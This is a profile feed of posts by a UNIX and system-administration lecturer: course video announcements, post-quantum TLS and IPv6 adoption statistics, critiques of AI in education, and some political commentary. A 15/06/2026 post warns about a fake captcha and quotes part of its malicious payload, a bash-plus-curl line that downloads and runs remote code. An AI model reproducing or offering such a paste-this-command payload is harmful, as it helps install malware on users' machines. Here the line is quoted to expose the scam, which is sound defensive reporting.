Sign in

iiinova is part of the Atmosphere — an open, public network where you own your identity.

Jan Schaumann

@jschauma.mstdn.social.ap.brid.gy
88 followers 6 following 670 posts

Vell, I'm just zis guy, you know? 🌉 bridged from ⁂ mstdn.social/@jschauma, follow @ap.brid.gy to interact

PostsRepliesMedia
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 15/10/2026
Advanced Programming in the #UNIX Environment Week 6: Memory Layout of a Process In this video lecture, we are trying to get a visual understanding of what a process looks like in memory. We create a program that prints out the addresses of different elements […] [Original post on mstdn.social]
102 2
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 01/10/2026
Advanced Programming in the #UNIX Environment Week 4: The Unix Filesystem This week, we'll take a closer look at the Unix Filesystem (UFS). In our first video segment, we visualize how the filesystem structures the disk and organizes files and directories. We […] [Original post on mstdn.social]
102 2
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 29/09/2026
Advanced Programming in the #UNIX Environment Week 3: recap Slides from tonight's class, summarizing the last few videos and adding a few more bits (haha, get it?) about how the umask works. stevens.netmeister.org/631/03-f26.p…
111 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 27/09/2026
Advanced Programming in the #UNIX Environment Week 3 (and 4, kind of): Union Mounts and Whiteout Files One of the file types we've encountered are those of type S_IFWHT, so called "whiteout" files. But what the hell is that?? Let's illustrate! We describe the […] [Original post on mstdn.social]
100 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 24/09/2026
Advanced Programming in the #UNIX Environment Week 3: struct stat st_mode In this video segment, we're looking at how the traditional permissions defined in the `struct stat st_mode` are applied. You want to pay particular attention to the permissions on […] [Original post on mstdn.social]
The st_mode also encodes the file access permissions (S_IRUSR, S_IWUSR,
S_IXUSR, S_IRGRP, S_IWGRP, S_IXGRP, S_IROTH, S_IWOTH, S_IXOTH). Uses of
the permissions are summarized as follows:
• To open a file, need execute permission on each directory component of the path.
• To open a file with O_RDONLY or O_RDWR, need read permission.
• To open a file with O_WRONLY or O_RDWR, need write permission.
• To use O_TRUNC, must have write permission.
• To create a new file, must have write+execute permission for the directory.
• To delete a file, need write+execute on directory, file doesn’t matter.
• To execute a file (via exec family), need execute permission.Which permission set to use is determined (in order listed):
1. If effective-uid == 0, grant access
2. If effective-uid == st_uid
2.1. if appropriate user permission bit is set, grant access;
2.2. else, deny access
3. If effective-gid == st_gid
3.1.if appropriate group permission bit is set, grant access
3.2. else, deny access
4. If appropriate other permission bit is set, grant access, else deny access
110 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 23/09/2026
New plonk just dropped.
Usenet ASCII art of a person holding a sign that reads "Please don't feed the MEAT-PROXY !"
001 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 22/09/2026
Advanced Programming in the #UNIX Environment Week 3: stat(2) intro In this video lecture, we meet our new best friend, the 'struct stat'. We'll cover the stat(2) system calls and begin discussing each of the fields in the struct, often by example of the ls(1) […] [Original post on mstdn.social]
$ ls -l file
-rw-r--r-- 1 jschauma wheel 1048576 Sep 10 20:04 file

"-rw-r-r-" from st_mode
1 st_nlink
"jschauma" from st_uid
"wheel" from st_gid
1048576 st_size
Sep 10 20:04  from st_mtime
file not from stat at allThe stat(1) utility displays information about the file pointed to by file.

$ stat -r file
16 3 0100644 1 1000 0 -1 1048576 1599768274 1599768274 1599768274 0 4096 2056 0 file

The default format displays the st_dev, st_ino, st_mode, st_nlink, st_uid,
st_gid, st_rdev, st_size, st_atime, st_mtime, st_ctime, st_birthtime,
st_blksize, st_blocks, and st_flags fields, in that order.
200 2
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 17/09/2026
Tee hee, HN stumbled upon my AI rant blog post and boy is that a different discussion from Lobsters. ✌️
000 0
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 16/09/2026
Advanced Programming in the #UNIX Environment Week 2: File Descriptors To introduce the concept of file descriptors, let's start with a simple question: how many file descriptors can a unix process open? Finding the answer helps us introduce a few different […] [Original post on mstdn.social]
Presentation slides showing an illustration of file descriptors connected from the terminal to a single program as well as to two programs in a pipe.

Additional bullet points:
A file descriptor (or file handle) is a small, non-negative integer which identifies a file to the kernel.

Traditionally, stdin, stdout and stderr are 0, 1 and 2, respectively, but relying on magic numbers is bad practice. Use STDIN_FILENO, STDOUT_FILENO, and STDERR_FILENO instead.
101 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 10/09/2026
Advanced Programming in the #UNIX Environment The objective of this class is to learn and understand the interfaces, libraries and concepts we cover as well as to actually write code. This requires struggling with code, to work your way through your problems […] [Original post on mstdn.social]
Screenshot of lecture slides "Use of AI":

LLMs are inherently problematic:
Based on unapologetic exploitation of Intellectual Property
Reinforcement of biases and power structures in the training set (GIGO)
Concentration of power in the hands of a small number of US companies
Convergence on Meh
Reckless practices by AI companies, including attacks on other companies and generation of CSAM
Your use of AI helps AI companies make better autonomous killing machines
Massive environmental impact and exacerbation of global warmingScreenshot of lecture slide "Ethics aside..."

AI can be useful when writing code, but the code is generates requires scrutiny.

Being able to identify problem with somebody else’s code requires you to be able to fully understand the code, the problem space, the constraints, the edge conditions.

LLMs generate plausible looking code, but reviewing and debugging code that intuitively looks correct requires double the effort and experience — i.e., not a task for junior developers.

In order to supervise AI, you need to fully understand the problem you’re trying to use AI to solve.Screenshot of lecture slied "Don't be a Meat Proxy"

Meat proxy
A person who forwards AI-generated text, code, or other output without reading, understanding, or validating it. The person acts only as a relay between the AI system and the intended recipient.


If all you do is paste problem statements into the LLM and copy/paste the response… then why do we need you?

Being a meat proxy is not a skill; it’s the choice of reducing your value and offer yourself up as tribute.Screenshot of lecture slide "Use of AI"

Telling AI to write (code) is not the same as learning to write (code).  You can only get better at writing (code) by actually writing (code), kind of badly at first, struggling with it, and figuring out what works.
Using AI to complete your coding assignments is like asking somebody else to go to the gym for you.  You’re here to learn, to exercise, to build muscle.

The use of AI in this class is strictly prohibited.
This includes writing emails, READMEs, or other text.

https://stevens.netmeister.org/631/use-of-ai.html
2115 15
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 06/09/2026
This blog post series on the use of AI in CS and Programming classes (itself likely heavily AI edited text, and that alone makes me 🤮, and I certainly don't subscribe to the philosophy there) has a useful set of questions that can help guide students for when AI […] [Original post on mstdn.social]
For every assignment, students must answer a series of questions, something like:

1. Explain your AI usage on this assignment, what you used, and why.
2. Explain and give an example of at least one error AI made that you caught and corrected. If there was no error, explain why you think AI was able to make no mistakes.
3. Explain and give an example of at least one instance of AI code that was correct but that you improved. If there was no such case, explain why you think that was the case.
4. Explain and give an example of one thing you learned by using AI: some technique or concept you did not know or understand before and now do. If you learned nothing, explain why you think that was the case.
5. Based on your experience in this assignment, do you think you could have done better without AI? Explain your answer.
110 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 05/09/2026
Wtf? Happened to go to IMDB in a browser where I was logged into Amazon, which apparently now automatically automatically creates an account for you there and logs you in and then spams you right away. Motherfuckers.
200 2
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 08/08/2026
Couldn't find the first occurrence to repost, but yes, AI companies trying to one-up each other by touting their incompetence to airgap their systems and chest-thumping their wantonly committing cybercrimes with no consequences is a vibe.
Sundar Pichai as a stick figure poking the Gemini logo, saying "Come on. Commit crimes."
0525 25
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 28/07/2026
Seeing a lot of "Haha, I asked 'Are you an AI?' and then it said 'yes'." going around, like a big gotcha. I mean, sure, haha, but it could as well have said 'no', so maybe don't start to adopt the slop variation of the stupid tv myth "if you ask a cop if […] [Original post on mstdn.social]
001 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 02/07/2026
IETF on #PQC pure ML-DSA vs hybrid Left: TLS WG Right: SSH WG
000 0
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 23/06/2026
Heyo! I'll be at #Troopers26 tomorrow morning to make fetch happen and talk about Q-Day (illustrated below). So get in losers, we're upgrading the internet! troopers.de/troopers26/talks/jz8z3d #pqc #cryptography
000 0
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 15/06/2026
Holy shit. Apparently this is _not_ a phish or malware, but an _actual_ captcha asking users to paste commands into the terminal. (That, or I can't figure out the attack vector.) Payload is ``` /bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL 'eidr9j8a[ […] [Original post on mstdn.social]
Super-phishy captcha dialog:

Complete these
Verification Steps
To better prove you are not a robot, please:

Open Terminal application on your Mac (you can find it in Applications -> Utilities -> Terminal).
In the verification window, press Command + V.
Press Enter on your keyboard to finish.
You will observe and agree:
 ✅ "I am not a robot - reCAPTCHA Verification ID: 6334576"

Perform the steps above to finish verification.
100 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 25/05/2026
Periodic reminder that Carl Sagan knew back in 1995 what's coming. This quote from his "Demon-haunted World" has been popping up every few years ever since, and every time it feels more and more on the money than before.
    I have a foreboding of an America in my children’s or grandchildren’s time — when the United States is a service and information economy; when nearly all the manufacturing industries have slipped away to other countries; when awesome technological powers are in the hands of a very few, and no one representing the public interest can even grasp the issues; when the people have lost the ability to set their own agendas or knowledgeably question those in authority; when, clutching our crystals and nervously consulting our horoscopes, our critical faculties in decline, unable to distinguish between what feels good and what’s true, we slide, almost without noticing, back into superstition and darkness…

    We’ve arranged a civilization in which most crucial elements profoundly depend on science and technology. We have also arranged things so that almost no one understands science and technology. This is a prescription for disaster. We might get away with it for a while, but sooner or later this combustible mixture of ignorance and power is going to blow up in our faces.
122 2
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 22/05/2026
Shared the "'a's in strawberry' with my daughter; she countered with this. Strong "The closest is Kenya, which starts with a ‘K’ sound." vibes here. AI is going great.
Screenshot of a Google search for "is fusion solid to liquid"; AI overview says "No, fusion is the exact opposite: it is the phase transition of a substance from a solid to a liquid".
000 0
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 21/05/2026
Now what the fresh fuck is this, then? Not today, Satan.
Captcha challenge showing a QR code and asking the user to scan the code with their phone.
8231 31
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 20/05/2026
Remember to update your libc for the new AI errno(2) values that just dropped: www.netmeister.org/blog/ai-errno.ht…
#define EAI           201        /* hallucination */
#define EAIWASH       202        /* inconvenient license ignored */
#define EBOTDOS       203        /* crawlfarm failure */
#define ECLAW         204        /* unrecoverable system compromise */
#define EDAWKINS      205        /* claude delusion */
#define EDICT         206        /* transcription mode only */
#define EDUNK         207        /* unjustified confidence */
#define EEYORE        208        /* excessively depressive response */
#define EFFTHEPLANET  209        /* insufficient datacenter capacity */
#define EFOOTGUN      200        /* accidentally revoked my own access */
#define EGAD          211        /* lost context */
#define EGIGO         212        /* repeat output intake */
#define EGPT          213        /* walked like an 𐦂 */
#define EGRET         214        /* too few to mention */
#define EGROK         215        /* nazi-mode detected */
#define EHEADDESK     216        /* excessive amount of time wasted */
#define ELISP         217        /* McCarthy wath here */
#define ELIZA         218        /* still analyzing */
#define ELLMAO        219        /* too gullible */
#define ELON          220        /* megalomania exhaustion */
#define EMACS         221        /* unable to exit vi */
#define EMOTION       222        /* impossible movement */
#define EMYTHOS       223        /* excessive marketing */
#define EOOPS         224        /* accidentally 'rm -fr'd all code */
[...]
0211 11
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 16/05/2026
My students put a list of quotes from me on the CtF server when they finally captured it and I think I'm ok with that.
A list of cards with quotes:

"Send onion! Send lettuce! Send tomato! Send cheese!",
"Fred doesnt have a password, Fred is stupid!",
"The internet is held together with duct-tape and safety pins and WD40.",
"How does the CA prevent my evil twin, who has a goatee and is evil, from pretending he is me?",
"Yes, I'm very sorry.  Would you like me to get you a cup of tea?<br> I dont know...",
"If you expect chocolate, you should not get a hand grenade.",
"Well, he is a duck, he doesn't understand. <br>You have to explain it to him.",
"You can use exec() ls and give argv[0] as \"your mom\" and it will work just fine",
"It's an actual physical book you can read; it is awesome!",
"Or this... (proceeds to do the Gen Z 6/7)",
"Yes, now the green means it is secure!",
"You cannot have someone else go to the gym for you.  That simply just doesnt work!!!",
001 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 22/04/2026
Current xkcd 303 status.
000 0
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 20/04/2026
System Administration: Week 12: System Security II: From the Attack Life Cycle to Zero Trust In this video, we continue approaching System Security from an attacker's point of view by understanding their common processes, following the Attack Life Cycle and […] [Original post on mstdn.social]
Defense in Depth

Security is like an onion:
the more layers you peel away, the more it stinks.

Never assume any one protection mechanism is sufficient.

Always assume the other protections you deployed can be circumvented or broken.Zero Trust

Core concept: the simple assumption of a
compromised or hostile environment.

-> transport encryption
-> mutual authentication
-> explicit authorization
-> time limited grants
-> identity based
101 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 19/04/2026
Current #infosec status.
Tuba girl meme:

Girl against the wall: blue team
Tuba over her head: More code, more vulns, more bug reports, more slop, more agents, more risk, more...
Girl blowing tuba: Everybody hopped up on AI
126 6
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 19/04/2026
System Administration: Week 12: System Security II: Defining a Threat Model In this video, we look at the concept of a Threat Model and how the attack economics may shift based on your adversaries capabilities and motives. We introduce the STRIDE and DREAD […] [Original post on mstdn.social]
Threat Model 101
By James Mickens

Threat: Ex-girlfriend/boyfriend breaking into your email account and publicly releasing your correspondence with the My Little Pony fan club

Solution: Strong passwords 


Threat: Organized criminals breaking into your email account and sending
spam using your identity

Solution: Strong passwords + common sense (don’t click on unsolicited
herbal Viagra ads that result in keyloggers and sorrow)


Threat: The Mossad doing Mossad things with your email account

Solution:
◆ Magical amulets?
◆ Fake your own death, move into a submarine?
◆ YOU’RE STILL GONNA BE MOSSAD’ED UPON
101 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 18/04/2026
Quelle surprise. www.nytimes.com/2026/04/17/technolo…
Some White House officials have argued that a fight with Anthropic is counterproductive and denies the United States some of the most powerful tech tools, officials said. This follows Anthropic’s unveiling on April 7 of a powerful new A.I. model, Mythos, which is capable of identifying security vulnerabilities in software. Officials believe access to the model — which Anthropic has made available only on a limited basis — is critical to help protect government networks from cyberattacks.
000 0
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 16/04/2026
"AI Assistance Reduces Persistence and Hurts Independent Performance" arxiv.org/pdf/2604.04721 This makes the important point of a long-term shift in learning if we're trained on immediate, sycophantic solution engines: we learn helplessness and stop trying.
Two mechanisms may explain the observed decline in persistence. First, when AI routinely completes tasks in seconds, the reference point for how long a task should take can shift - and as a consequence, unaided work starts to feel counterfactually more effortful, a process structurally analogous to hedonic adaptation (Brickman, 1971; Brickman et al., 1978; Frederick & Lowenstein, 1999). Crucially, this mechanism is self-reinforcing: each act of offloading shifts the reference point, increases the subjective cost of unaided effort, and makes future offloading more attractive. Second, AI removes the productive struggle through which people develop not only accurate knowledge but accurate self-knowledge.
Without opportunities to work independently, people never learn what they are capable of, undermining the metacognitive calibration that sustains persistence (Yeung & Summerfield, 2012; Fleming & Daw,
2017; Dubey et al., 2021; Elizondo et al., 2024). Together, these mechanisms predict broader metacognitive decay beyond persistence alone - a direction future work should examine in naturalistic, longitudinal settings.
001 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 15/04/2026
Casually browsing worldcup ticket prices and that's cool, but, uhm, ok, I guess I'm not going.
000 0
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 08/04/2026
System Administration: Week 10: Backups, Part I In this video, we begin our discussion of backups by covering some core concepts and terminology, looking at full vs. incremental vs. differential backups and the difference between long-term storage and disaster […] [Original post on mstdn.social]
Schrodinger's Backup

"The condition of any backup is unknown until a restore is attempted."
113 3
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 31/03/2026
TIL: `outlook.com` runs a (non-recursive) DoH service, presumably for Outlook internal use? Via: "XSS-over-DoH", which seems oddly convoluted, but at least academically interesting in that if your webserver serves both HTML and DoH, you can kind-of mess with […] [Original post on mstdn.social]
Partial curl command output:

* [HTTP/2] [1] OPENED stream for https://outlook.com/dns-query?dns=EjQAAAABAAAAA
* [HTTP/2] [1] [:method: GET]
* [HTTP/21 [1] [:scheme: https]
* [HTTP/2] [1] [:authority: outlook.com]
* [HTTP/2] [1] [:path: /dns-query?dns=EjQAAAABAAAAAAAAC3NØZXZlbnMtZWR1BG1haWwKcH
JvdGVjdGlvbgdvdXRsb29rA2NvbQAAAQAB]
* [HTTP/2] [1] [user-agent: curl/8.7.1]
* [HTТP/2] [1] [accept: application/dns-message]
> GET /dns-query?dns=EjQAAAABAAAAAAAAC3NØZXZ1bnMtZWR1BG1haWwKcHJvdGVjdGlvbgdvdXR
sb29 rA2NvbQAAAQAB HTTP/2
> Host: outlook.com
> User-Agent: curl/8.7.1
> Accept: application/dns-message
>
* Request completely sent off
< HTTP/2 200
< cache-control: max-age=10
< content-type: application/dns-message
< server: Microsoft-IIS/10.0
< x-aspnet-version: 4.0.30319
< x-powered-by: ASP.NET
< date: Tue, 31 Mar 2026 20:35:52 GMT
< content-length: 284
001 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 26/03/2026
TIL: Outlook does not know what a FQDN is. 👍🤦‍♂️
Terminal screenshot:

$ telnet outlook-com.olc.protection.outlook.com. 25
Trying 52.101.73.0...
Connected to outlook-com.olc.protection.outlook.com.
Escape character is "^]'
220 AM3PEPF00009BA0.mail.protection.outlook.com Microsoft ESMTP MAIL Service rea dy at Thu, 26 Mar 2026 21:09:40 +0000 [08DE8A19711A146E]
helo panix.netmeister.org.
501 5.5.4 Invalid domain name [AM3PEPF00009BA0.eurprd04.prod.outlook.com 2026-03 -26T21:09:46.113Z 08DE8A19711A146E]
helo panix. netmeister.org
250 AM3PEPF00009BA0.mail.protection.outlook.com Hello [166.84.7.99]
121 2
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 19/03/2026
System Administration: Week 8: E-Mail, Part I In this video, we begin our discussion of E-Mail by looking at the components of the larger mail system (the Mail User Agent, the Mail Transfer Agent, the Mail Delivery Agent, an Access Agent), observing the packets […] [Original post on mstdn.social]
101 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 18/03/2026
Blogged it down because not everybody knows this: - On macOS, ssh(1) has an "UseKeychain" option, which is awesome. - If your ssh connection gets rejected, it might be because your agent has more than the server's MaxAuthTries keys its trying; use […] [Original post on mstdn.social]
Screenshot of a terminal window showing an ssh connection being initiated with a 1Password biometrics auth dialog over it.
010 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 16/03/2026
More 1Password awesomeness: AWS plugin, so your `credentials` file doesn't sit unencrypted on your system and you can auth aws CLI interactions with your fingerprint: op plugin init aws alias aws='op plugin run -- aws' developer.1password.com/docs/cli/sh…
Screenshot showing a terminal window with the command `aws ec2 describe-instances` and a 1Password fingerprint unlock screen.
022 2
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 11/03/2026
Why I'm such a jolly chap these days.
A pie chart titled "occupying my brain, 2026 edition" showing percentages:
All of Trump's fascist bullshit: 59.4%
AI bullshit: 32.7%
Regular day-to-day bullshit: 6.9%
All the good bits of life: 1.0%
116 6
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 06/03/2026
System Administration: Week 7: DNS, Part III In this video, we try to wrap up our discussion of the Domain Name System by addressing the nature of the root nameservers, looking at various different resource record types, observing reverse lookups, and thinking […] [Original post on mstdn.social]
World map showing the locations of the root servers.
200 2
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 05/03/2026
System Administration: Week 7: DNS, Part II In this video, we dissect DNS lookups performed on our EC2 instance, then discuss just how a caching resolver performs the lookup, moving from "magic happens here" to the below visualization. youtu.be/z55ULZcKP8A #sysadmin #devops #sre #dns
101 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 02/03/2026
The only thing my brain gives me when I hear Google & Cloudflare talking about Merkle Tree Certificates: #pqc
013 3
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 01/03/2026
“What was unthinkable only yesterday we now take in stride, and we wait for that moment when things really have gone too far this time, when the fever breaks and things will revert to normal. But that moment probably won’t come. Things have gone too far too […] [Original post on mstdn.social]
Since then, one red line after another has been crossed: Undocumented immigrants are called animals; civilian boats are blown out of the water; American citizens are gunned down in the streets and then accused of being domestic terrorists; universities, news organizations and law firms are being bullied and blackmailed; and refugees are deported to countries whose languages they probably don’t even speak. And that is aside from the blatant corruption of family and cronies.

All this was incremental, too, but compared with 1934, everything goes much faster. And yet life continues as usual. What was unthinkable only yesterday we now take in stride, and we wait for that moment when things really have gone too far this time, when the fever breaks and things will revert to normal.
But that moment probably won’t come. Things have gone too far too many times already. Hoping for better is still the right attitude, but only as long as we prepare for the worst.
011 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 28/02/2026
Unsurprisingly, virtually all of those support X25519MLKEM768, while AWS defaults to also offering SecP384r1MLKEM1024 and Squarespace to offering those two plus SecP384r1MLKEM1024. Google is the only service that now also supports pure PQC using 'mlkem1024'. #pqc
SecP256r1MLKEM768	SecP384r1MLKEM1024	mlkem1024
1.	32,166	AWS	1,137	Squarespace	787	Google
2.	1,137	Squarespace	517	AWS	24	unknown
3.	822	unknown	42	Hetzner	5	VDSina
4.	154	Cloudflare	33	OVHCloud	 	 
5.	52	Hetzner	28	MontanaSky
100 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 28/02/2026
It's been almost 6 months since I last checked, so here's a quick update on what sites are using #PQC key exchanges in #TLS for HTTPS. Overall, not much movement since September: by now, around 41% of the Top 1M Domains support PQC, up from ~39%:
 	  Count	Percent1
Total	374,183	41.06%
Out of those:
X25519MLKEM768	374,152	99.99%
SecP256r1MLKEM768	35,088	9.38%
SecP384r1MLKEM1024	2,102	0.56%
MLKEM1024	842	0.23%
110 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 27/02/2026
"Never have, never will." Promise, shmomise. This is some bullshit, Mozilla. github.com/mozilla/bedrock/commit/d… And the explanation is […] [Original post on mstdn.social]
Screenshot of the git diff removing the FAQ item saying "Does Firefox sell your personal data?" "Nope, Never have, never will."
002 2
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 23/02/2026
Good morning, NYC! #snowpocalypse
101 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 19/02/2026
And finally, #SMTP. Looking at the Top 1M Domains' MX records, over 52% are IPv4-only; 45% fully dual-stack, and another 2% or so having at least one MX record with an IPv6 address. But there are also large MX service providers who have IPv6 addresses on some […] [Original post on mstdn.social]
Total	| % of MX records

All MX IPv4 only	334,696	52.03
All MX IPv6 only	74	0.01
All MX dual-stack	288,849	44.91
At least one MX dual-stack	301,273	46.84
At least one MX IPv4-only	347,119	53.96
At least one MX IPv6-only	271	0.04
Only IPv4-only and IPv6-only MXs	89	0.01
Dual-stack with at least one IPv4-only MX	12,334	1.92
Dual-stack with at least one IPv6-only MX	108	0.01
Dual-stack + IPv4-only + IPv6-only MX	18	0.002
Dual-stack + only IPv4-only MX	12,316	1.91
Dual-stack + only IPv6-only MX	90	0.01
At least one MX IPv6 enabled (dual-stack or IPv6-only)	301,436	46.86
101 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 19/02/2026
For HTTP traffic, just looking at 'www.<domain>' for the Top 1M second-level domains, only 35% are dual-stack! And this is despite the majority of them being served by just a small number of CDNs and service providers, all who support IPv6. Meaning, many people […] [Original post on mstdn.social]

 	| Total | % of Top 1M2
-------+---------+--------------------------
IPv4 only	| 557,996	| 55.80
Dual-Stack	| 353,223	| 35.32
IPv6 only	| 157	| 0.2
200 2
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 16/02/2026
The 2nd point is more subtle, and focuses on the difference in creative vs evaluative work. And, oh, hey 👋… I no longer write meaningful amounts of code as part of my job; reviewing other people’s designs, architectures, and code is pretty much all I do. The […] [Original post on mstdn.social]
This is a fundamentally different kind of work. Creating is energizing. Reviewing is draining. There's research on this - the psychological difference between generative tasks and evaluative tasks. Generative work gives you flow states. Evaluative work gives you decision fatigue.
110 1
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 16/02/2026
This very long piece on AI fatigue by Siddhant Khare is quite good: siddhantkhare.com/writing/ai-fatigu… There are two points that speak to me in particular. The first (“Thinking Atrophy”) is one I regularly make to anybody who will (or is […] [Original post on mstdn.social]
The same thing is happening with AI and engineering thinking. When you always ask AI first, you stop building the neural pathways that come from struggling with a problem yourself. The struggle is where learning happens. The confusion is where understanding forms. Skip that, and you get faster output but shallower understanding.
213 3
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 15/02/2026
Introducing ads into AI chat bots is a clear recipe for disaster. Zoe Hitzig’s NYT essay is interesting, but I think her comment in response to a reader is more important and succinctly devastating to the claims of how AI will change everything […] [Original post on mstdn.social]
@CG   I do find it ironic that companies claiming they'll transform the entire economy and cure cancer and build superintelligence can't come up with a more creative business model than ads.
002 2
Jan Schaumann @jschauma.mstdn.social.ap.brid.gy · 14/02/2026
System Administration: Week 4: Package Management In this video, we continue our discussion of the difference and relationship between the operating system and so-called "add-on software". We conclude that in order to install and maintain all such software, we […] [Original post on mstdn.social]
A diagram illustrating the relationship between OS, Package Management, and the different components: Add-on software, System Software, Applications/Utitlities/ Kernel/Firmware / Hardware
100 1